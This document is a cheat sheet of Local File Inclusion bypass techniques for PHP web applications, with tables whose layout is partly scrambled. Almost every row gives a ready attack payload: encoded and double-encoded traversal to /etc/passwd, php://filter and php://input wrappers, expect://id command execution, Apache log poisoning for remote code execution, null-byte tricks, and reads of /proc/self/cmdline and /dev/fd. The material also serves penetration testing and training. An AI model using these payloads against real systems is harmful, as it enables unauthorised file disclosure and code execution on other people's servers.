? Advanced LFI Bypass Techniques

The document outlines various advanced techniques for bypassing Local File Inclusion (LFI) vulnerabilities, including URL encoding, Base64 encoding, and using log poisoning for remote code execution. It provides explanations and example payloads for each technique, demonstrating how attackers can exploit file access restrictions. The techniques range from basic directory traversal to more complex methods like injecting null bytes and utilizing system file descriptors.

Advanced LFI Bypass Techniques

Bypass Technique Explanation Example Payload


URL Encoding Some filters block ../ ?
(%2e%2e%2f) but not its encoded lang=%2e%2e%2f%2e
version. %2e%2fetc/passwd
Double URL Encoding Encodes %2e again to ?
(%252e%252e%252f) bypass strict filters. lang=%252e%252e%2
52fetc/passwd
Base64 Encoding Reads files in Base64 to ?lang=php://filter/
(php://filter) avoid keyword convert.base64-
detection. encode/
resource=index.php
Data Wrapper (php:// Reads raw POST data, ?lang=php://input
input) useful for injecting
payloads.
Expect Wrapper Executes system ?lang=expect://id
(expect://id) commands if expect is
enabled.
Filter Bypass via Extra Some servers normalize ?lang=////////etc/passwd
Slashes paths differently.
Trick with Trailing /..;/ sometimes ?lang=/etc/passwd/..;/
Slash (/..;/) bypasses filtering.
Double Extension If only .php files are ?lang=../../../../../etc/
Bypass allowed. passwd%00.php
Using Log Poisoning Injects PHP code into ?lang=../../../../../var/log/
for RCE log files for execution. apache2/
access.log&cmd=id
Using symlink files (/ Reads process ?lang=/proc/self/
proc/self/cmdline) information from cmdline
system files.
Using UNIX Sockets (/ Reads system file ?lang=/dev/fd/0
dev/fd/) descriptors.
Injecting null bytes in Similar to %00, used POST /index.php HTTP/
POST data when GET filtering is 1.1 Content-Length: 50
strict. page=../../../../../etc/
passwd%00

Bypass Technique Explanation Example


Basic Directory Moves up directories to ?lang=../../../../etc/
Traversal (../) access sensitive files passwd
Null Byte Injection Bypasses forced .php ?lang=../../../../etc/
(%00) extensions (PHP < passwd%00
5.3.4)
Current Directory Trick Bypasses filters that ?lang=../../../../etc/
(/.) block /etc/passwd passwd/.
Overloading ../ Works when ../ is ?lang=....//....//....//etc/
Filtering (....//) stripped from input passwd
Forced Directory When languages/ is ?
Inclusion Bypass required in input lang=languages/../../../../
../etc/passwd
